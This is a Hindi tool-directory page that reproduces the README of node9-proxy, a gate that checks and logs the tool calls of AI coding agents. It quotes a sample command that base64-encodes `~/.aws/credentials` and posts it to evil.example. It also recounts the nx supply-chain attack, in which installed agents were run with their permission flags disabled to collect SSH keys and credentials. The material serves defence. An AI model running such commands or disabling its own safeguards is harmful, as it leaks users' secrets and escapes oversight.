Skip to content
KitploitKITPLOIT
उपकरणएक्सप्लॉइटब्लॉग
Log in
जमा करें
उपकरणएक्सप्लॉइटब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

फ़ीडसंपर्कगोपनीयता© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
node9-proxy — AI एजेंट्स के लिए एक्सेस कंट्रोल। Claude Code, Codex, Gemini, Cursor और किसी भी MCP सर्वर को क्या करने की अनुमति है, यह सेट करें, जोखिम भरे कार्यों को चलने से पहले रिव्यू करें, और हर कार्य का रिकॉर्ड रखें। | Kitploit
उपकरण/GitHubGitHub/node9-ai/node9-proxy
भेद्यता स्कैनरकंटेनर सुरक्षाक्लाउड सुरक्षाDevSecOpsकमांड एंड कंट्रोलसीक्रेट डिटेक्शनखतरा खुफियाआपूर्ति श्रृंखला सुरक्षाघटना प्रतिक्रियाAI सुरक्षा
GitHubnode9-ai/node9-proxy
21018621 दिन पहलेKitploit द्वारा समीक्षित

node9-proxy

AI एजेंट्स के लिए एक्सेस कंट्रोल। Claude Code, Codex, Gemini, Cursor और किसी भी MCP सर्वर को क्या करने की अनुमति है, यह सेट करें, जोखिम भरे कार्यों को चलने से पहले रिव्यू करें, और हर कार्य का रिकॉर्ड रखें।

रिपॉजिटरी देखेंवेबसाइट

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
<h1 align="center">🛡️ node9</h1>
<p align="center">AI एजेंट्स के लिए एक्सेस कंट्रोल</p>
<p align="center"><strong>आपके AI एजेंट्स Slack, GitHub, ईमेल और आपके डेटाबेस तक पहुँच सकते हैं।<br />node9 तय करता है कि वे प्रत्येक के साथ क्या कर सकते हैं।</strong></p>
<p align="center">
  <a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/v/node9-ai.svg" alt="npm version" /></a>
  <a href="https://www.npmjs.com/package/node9-ai"><img src="https://img.shields.io/npm/dm/node9-ai.svg" alt="monthly downloads" /></a>
  <a href="https://opensource.org/licenses/Apache-2.0"><img src="https://img.shields.io/badge/License-Apache%202.0-blue.svg" alt="License: Apache 2.0" /></a>
  <a href="https://node9.ai/docs"><img src="https://img.shields.io/badge/docs-node9.ai-blue" alt="Documentation" /></a>
  <a href="https://www.bestpractices.dev/projects/14454"><img src="https://www.bestpractices.dev/projects/14454/badge" alt="OpenSSF Best Practices" /></a>
  <a href="https://scorecard.dev/viewer/?uri=github.com/node9-ai/node9-proxy"><img src="https://api.scorecard.dev/projects/github.com/node9-ai/node9-proxy/badge" alt="OpenSSF Scorecard" /></a>
  <a href="https://github.com/node9-ai/node9-proxy/blob/main/.github/workflows/agent-security.yml"><img src="https://img.shields.io/badge/node9-self--scanned-a855f7?style=flat&amp;labelColor=%231A1A2E&amp;logo=data:image/svg+xml;base64,PHN2ZyB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHZpZXdCb3g9IjAgMCAxNCAxNCI+PHBhdGggZmlsbD0iI0Y1RTlGRiIgZmlsbC1ydWxlPSJldmVub2RkIiBjbGlwLXJ1bGU9ImV2ZW5vZGQiIGQ9Ik03IDAuNCAxLjYgMi41djQuMmMwIDMuMSAyLjMgNS42IDUuNCA2LjkgMy4xLTEuMyA1LjQtMy44IDUuNC02LjlWMi41TDcgMC40Wm0wIDEuNSAzLjkgMS41djMuM2MwIDIuMy0xLjYgNC4yLTMuOSA1LjMtMi4zLTEuMS0zLjktMy0zLjktNS4zVjMuNEw3IDEuOVptMCAyLjJhMS45IDEuOSAwIDAgMC0xIDMuNXYxLjZoMlY3LjZhMS45IDEuOSAwIDAgMC0xLTMuNVoiLz48L3N2Zz4K" alt="node9 self-scanned" /></a>
  <a href="https://github.com/hesreallyhim/awesome-claude-code"><img src="https://awesome.re/mentioned-badge-flat.svg" alt="Mentioned in Awesome Claude Code" /></a>
</p>

**क्रेडेंशियल जेल** · **सीक्रेट्स और PII** · **विनाशकारी git, SQL और shell समीक्षा के लिए रोके गए** ·
**MCP टूल पिनिंग** · **नेटवर्क एग्रेस allowlist** · **लूप ब्रेकर** · **बारह एजेंट्स में एक रिकॉर्ड**

**Claude Code · Codex CLI · Antigravity (agy) · GitHub Copilot CLI · Gemini CLI · Cursor · Windsurf · VSCode · Claude Desktop · Opencode · Pi · Hermes Agent · किसी भी MCP सर्वर** के साथ काम करता है।

## यह कैसा दिखता है

node9 इंस्टॉल किए गए एक वास्तविक Claude Code सत्र में। प्रत्येक टूल कॉल को चलने से पहले जाँचा जाता है। एक पेज बनाना और एक बटन संपादित करना चलते हैं। क्लाउड मेटाडेटा पते का अनुरोध अवरुद्ध हो जाता है, और एजेंट को कारण मिल जाता है और वह आगे बढ़ जाता है। फ़ाइलें हटाना आपकी स्वीकृति की प्रतीक्षा करता है, ठीक चैट में।

<p align="center">
  <img src="https://github.com/user-attachments/assets/bfd3eec5-94fa-45a9-ac79-d06684ab4b2c" width="760" alt="एक Claude Code सत्र में node9: दो कॉल अनुमत, एक अवरुद्ध, एक स्वीकृति के लिए रोका गया" />
</p>

## इंस्टॉल करें

```bash
brew tap node9-ai/node9 && brew install node9   # macOS / Linux
npm install -g node9-ai                         # any platform
```

फिर, किसी भी प्रोजेक्ट में:

```bash
node9            # first run: choose dashboard connection or local protection
node9 posture    # scores this machine 0-100: what a compromised agent could read, reach and run
node9 login      # optional: adds this machine to a shared dashboard
```

Node.js 22+ आवश्यक है।

एक नए इंटरैक्टिव टर्मिनल पर, `node9` आपको सेटअप के माध्यम से मार्गदर्शन करता है। स्थानीय सुरक्षा के लिए किसी खाते की आवश्यकता नहीं है। चेकलिस्ट अनुशंसित शील्ड्स, DLP/PII, वैकल्पिक नेटवर्क एग्रेस समीक्षा, और बैकग्राउंड सेवा दिखाती है। उपयोग आँकड़े केवल तभी भेजे जाते हैं जब आप अलग प्रॉम्प्ट स्वीकार करते हैं। सारांश कॉन्फ़िगर किए गए एजेंट्स और ध्यान देने योग्य किसी भी सेटअप चरण को सूचीबद्ध करता है।

सेटअप को फिर से देखने के लिए `node9 setup` चलाएँ, या एक एजेंट को कॉन्फ़िगर करने के लिए `node9 setup <target>`। एक बार कॉन्फ़िगर होने के बाद, बेयर `node9` सहायता दिखाता है। `node9 init` उपलब्ध रहता है; स्क्रिप्ट के लिए `node9 init --recommended` का उपयोग करें (कोई प्रश्न नहीं और कोई टेलीमेट्री ऑप्ट-इन नहीं)। `--skip-setup` एजेंट वायरिंग और सेवा इंस्टॉलेशन को अकेला छोड़ देता है। स्पष्ट `--mode` चेकलिस्ट की मानक-मोड अनुशंसा पर प्राथमिकता लेता है। मौजूदा सेटिंग्स तब तक संरक्षित रहती हैं जब तक कि चयनित परिवर्तन या स्पष्ट फ़्लैग अपडेट का अनुरोध न करें। वर्कस्पेस नीति डैशबोर्ड में प्रबंधित की जाती है; सेवा सेटिंग्स स्थानीय रहती हैं।

**`login` प्रवर्तन में कुछ नहीं जोड़ता।** यह मशीन को एक वर्कस्पेस से जोड़ता है ताकि एक टीम सभी के लैपटॉप और CI में एक रिकॉर्ड देख सके, नीति केंद्रीय रूप से सेट कर सके, और डैशबोर्ड या Slack से रोकी गई कार्रवाइयों को स्वीकृत कर सके। इसे छोड़ दें और node9 बिल्कुल वैसे ही काम करता है, अकेले, ऑफ़लाइन। `node9 logout` फिर से डिस्कनेक्ट कर देता है और स्थानीय प्रवर्तन चलता रहता है।

### MCP सर्वर के रूप में उपयोग करें

node9 एक MCP सर्वर के रूप में भी चलता है, ताकि एक एजेंट बातचीत के भीतर से इसकी स्थिति, पोस्चर, ऑडिट रिकॉर्ड और नीति पढ़ सके, और किसी भी निर्णय की व्याख्या कर सके:

```bash
claude mcp add --transport stdio node9 -- npx -y node9-ai mcp-server
```

कोई भी MCP क्लाइंट इसी तरह काम करता है: कमांड stdio पर `npx -y node9-ai mcp-server` है, बिना किसी API कुंजी के। यह आधिकारिक MCP रजिस्ट्री में `io.github.node9-ai/node9` के रूप में सूचीबद्ध है।

## समस्या

अगस्त 2025 में, [`nx` बिल्ड टूल](https://github.com/advisories/GHSA-cxm3-wv7p-598c) के समझौता किए गए रिलीज़ ने एक पोस्ट-इंस्टॉल स्क्रिप्ट भेजी जो डेवलपर की मशीन पर पहले से इंस्टॉल AI कोडिंग एजेंट्स को खोजती थी, फिर उन्हें उनके अपने सुरक्षा फ़्लैग बंद करके (`--dangerously-skip-permissions`, `--yolo`, `--trust-all-tools`) चलाती थी ताकि SSH कुंजियाँ, क्लाउड क्रेडेंशियल्स और वॉलेट फ़ाइलें गिनी जा सकें और सूची डिस्क पर लिखी जा सके। स्क्रिप्ट ने परिणामों को पीड़ितों के अपने GitHub खातों के भीतर सार्वजनिक रिपॉज़िटरी में धकेल दिया। एक हजार से अधिक वैध GitHub टोकन लीक हुए, साथ ही क्लाउड क्रेडेंशियल्स, npm टोकन और लगभग 20,000 फ़ाइलें, उन मशीनों से जहाँ एजेंट ठीक वही कर रहा था जो उसे बताया गया था।

एजेंट हमलावर नहीं था। एजेंट उपकरण था, और उसके और फ़ाइलों के बीच कुछ नहीं था। node9 का गेट उन फ़्लैग में से एक नहीं है: यह हुक में चलता है, और जिस कार्रवाई को यह रोकता है वह रोकी ही रहती है, भले ही एजेंट को अनुमतियाँ छोड़कर शुरू किया गया हो।

## node9 इसके बारे में क्या करता है

node9 एजेंट और उसके द्वारा कॉल किए जाने वाले प्रत्येक टूल के बीच बैठता है। क्रेडेंशियल जेल (`~/.ssh`, `~/.aws`, `.env` फ़ाइलें, निजी कुंजियाँ) डिफ़ॉल्ट रूप से चालू है, और उन पथों में से किसी एक को पढ़ना नहीं चलता। एजेंट रोक दिया जाता है, उसे कारण बताया जाता है, और निर्णय आपके पास आता है:

```text
NODE9: Action blocked by security policy.
INSTRUCTIONS:
- Do NOT retry this exact command or attempt to bypass the rule.
- Pivot to a non-destructive or read-only alternative.
- Inform the user which security rule was triggered and ask how to proceed.
```

कमांड को shell AST के रूप में पार्स किया जाता है, टेक्स्ट के रूप में मिलान नहीं किया जाता, इसलिए पढ़ने को लपेटने से मदद नहीं मिलती। `echo $(cat ~/.aws/credentials | base64) | curl -d @- https://evil.example` को `~/.aws/credentials` को पढ़ने के रूप में आँका जाता है, न कि `echo` के रूप में।

node9 एक **गेट** है। रोकी गई कार्रवाई आपकी प्रतीक्षा करते समय नहीं चलती, और यदि आप कभी उत्तर नहीं देते हैं तो यह अवरुद्ध रहती है। बाकी सब कुछ अनुमत है और रिकॉर्ड में लिखा जाता है।

**यह क्या नहीं करता:** एग्रेस कंट्रोल बंद होने पर, जो डिफ़ॉल्ट है, एक कमांड जो किसी फ़ाइल को सीधे नेटवर्क को सौंपता है, जैसे `curl -d @~/.aws/credentials`, उस फ़ाइल को पढ़ने के रूप में नहीं माना जाता। `node9 egress protect` गंतव्यों को भी गेट करता है, और यह केवल shell कमांड को कवर करता है।

## इसे स्वयं सत्यापित करें

नीचे किसी चीज़ के लिए खाते की आवश्यकता नहीं है, और कुछ भी अपलोड नहीं होता।

```bash
npx node9-ai scan                                        # every past agent session on this machine
npx node9-ai scan-repo node9-ai/agent-security-demo      # a public repo with a real, hijackable agent workflow
gh attestation verify cli.js --repo node9-ai/node9-proxy # every release artifact is signed
```

<p align="center">
  node9 स्कैन स्कोरकार्ड
</p>

## यह क्या नियंत्रित करता है

प्रत्येक पंक्ति एक क्षमता है, साथ में उसे दस्तावेज़ित करने वाला पेज। दस्तावेज़ संदर्भ हैं; यह फ़ाइल नक्शा है।

|                             |                                                                                                                                                |                                                  |
| --------------------------- | ---------------------------------------------------------------------------------------------------------------------------------------------- | ------------------------------------------------ |
| **क्रेडेंशियल जेल**         | `~/.ssh`, `~/.aws`, `.env` और निजी कुंजियाँ हर टूल से अवरुद्ध हैं, केवल shell से नहीं                                                    | [docs](https://node9.ai/docs/shields)            |
| **हमेशा-चालू नियम**         | विनाशकारी git, `WHERE` के बिना SQL, `curl \| bash` और अनधिकृत `sudo`, बिना किसी कॉन्फ़िग के                                                 | [docs](https://node9.ai/docs/smart-rules)        |
| **सीक्रेट्स और PII**         | AWS कुंजियाँ, GitHub और Stripe टोकन, PEM कुंजियाँ और कार्ड या SSN आकार, किसी भी टूल आर्ग्युमेंट में, साथ ही एजेंट ने जो वापस लिखा उसका बैकग्राउंड स्कैन | [docs](https://node9.ai/docs/dlp)                |
| **प्रति-सेवा शील्ड्स**     | Postgres, MongoDB, Redis, AWS, Kubernetes, Docker, GitHub और फ़ाइलसिस्टम के लिए क्यूरेटेड नियम पैक                                            | [docs](https://node9.ai/docs/shields)            |
| **इनलाइन समीक्षा**           | रोकी गई कार्रवाई एजेंट बातचीत के भीतर आपसे पूछती है, या टीम अनुमोदक के माध्यम से                                                               | [docs](https://node9.ai/docs/cloud-policy)       |
| **एग्रेस allowlist**        | गेट करें कि shell कमांड डेटा कहाँ भेज सकता है, डिफ़ॉल्ट रूप से बंद                                                                                       | [docs](https://node9.ai/docs/egress)             |
| **MCP गेटवे**             | किसी भी MCP सर्वर को रैप करें, प्रत्येक टूल को अधिकृत करें, और टूल परिभाषाओं को पिन करें ताकि कोई सर्वर आपकी पीठ पीछे उन्हें बदल न सके                             | [docs](https://node9.ai/docs/mcp-gateway)        |
| **सैंडबॉक्स**                 | एक एजेंट को कर्नेल एग्रेस allowlist और स्कोप्ड माउंट के साथ कंटेनर में चलाएँ                                                                   | [docs](https://node9.ai/docs/sandbox)            |
| **पोस्चर स्कोर**           | यह मशीन कितनी उजागर है, प्रत्येक निष्कर्ष को ठीक करने वाले कमांड के साथ                                                                          | [docs](https://node9.ai/docs/posture)            |
| **रेपो स्कैनिंग**         | ऐसे वर्कफ़्लो खोजें जहाँ कोई बाहरी व्यक्ति आपके सीक्रेट्स रखने वाले एजेंट को हाईजैक कर सके, CI में या CLI से                                          | [docs](https://node9.ai/docs/repo-scanning)      |
| **सत्र इतिहास**         | पढ़ें कि node9 इंस्टॉल होने से पहले इस मशीन पर प्रत्येक एजेंट ने पहले से क्या किया                                                                  | [docs](https://node9.ai/docs/sessions)           |
| **लाइव मॉनिटर और रिपोर्ट** | एक टर्मिनल डैशबोर्ड, और लागत, टूल, ब्लॉक और ब्लास्ट रेडियस का विंडोड सारांश                                                           | [docs](https://node9.ai/docs/report)             |
| **स्किल्स पिनिंग**          | सत्रों के बीच इंस्टॉल किए गए Claude स्किल्स और प्लगइन्स का SHA-256 सत्यापन                                                                   | [docs](https://node9.ai/docs/skill-pinning)      |
| **कैनरी क्रेडेंशियल्स**      | रखी गई नकली कुंजियाँ जो साबित करती हैं कि एक एक्सफिल्ट्रेशन प्रयास हुआ                                                                                  | [docs](https://node9.ai/docs/canary-credentials) |
| **Python SDK**              | किसी भी Python एजेंट को नियंत्रित करें, केवल CLIs को नहीं                                                                                                     | [docs](https://node9.ai/docs/python-sdk)         |

पूर्ण CLI और कॉन्फ़िग संदर्भ: **[node9.ai/docs](https://node9.ai/docs)**।
परतें एक साथ कैसे फिट होती हैं: **[यह कैसे काम करता है](https://node9.ai/docs/how-it-works)**।

## सीखें

पृष्ठभूमि पठन, स्वतंत्र रूप से खड़े होने के लिए लिखा गया। प्रत्येक पेज बताता है कि node9 क्या कवर नहीं करता।

- **[एक हाईजैक किया गया एजेंट क्या कर सकता है?](https://node9.ai/learn/what-can-a-hijacked-agent-do)**: एक समझौता किए गए सत्र का ब्लास्ट रेडियस
- **[एक AI एजेंट एक सीक्रेट कैसे लीक करता है](https://node9.ai/learn/ai-agent-secret-exfiltration)**: एक क्रेडेंशियल वास्तव में बाहर निकलने के रास्ते
- **[Claude Code सुरक्षा](https://node9.ai/learn/claude-code-security)**: हुक, अनुमति मोड, और वे क्या नहीं रोकते
- **[MCP सुरक्षा](https://node9.ai/learn/mcp-security)**: एक MCP सर्वर जो टूल सतह खोलता है
- **[OWASP Agentic Top 10](https://node9.ai/learn/owasp-agentic-top-10)**: सूची, वास्तविक नियंत्रणों पर मैप की गई

## तुलना करें

- **[विकल्पों के विरुद्ध node9](https://node9.ai/compare)**: एक मैट्रिक्स, जिसमें वे पंक्तियाँ भी शामिल हैं जहाँ node9 खराब स्कोर करता है
- **[प्रति-एजेंट कवरेज](https://node9.ai/agents)**: बारह समर्थित एजेंट्स में से प्रत्येक पर क्या नियंत्रित है

## संबंधित प्रोजेक्ट्स

- **[node9-python](https://github.com/node9-ai/node9-python)**: Python SDK
- **[node9 Agent Security](https://github.com/marketplace/actions/node9-agent-security)**: GitHub Action, `uses: node9-ai/node9-proxy@v2`, हर PR को उसी इंजन से गेट करता है

## एंटरप्राइज़

**node9 Pro** गवर्नेंस लॉकिंग, SAML/SSO, केंद्रीय ऑडिट निर्यात, और VPC परिनियोजन जोड़ता है। देखें [node9.ai](https://node9.ai)।

## लाइसेंस

Apache-2.0

<p align="center">
  <sub>☕ और स्वस्थ संदेह के साथ बनाया गया।</sub>
</p>
टूल डाउनलोड करें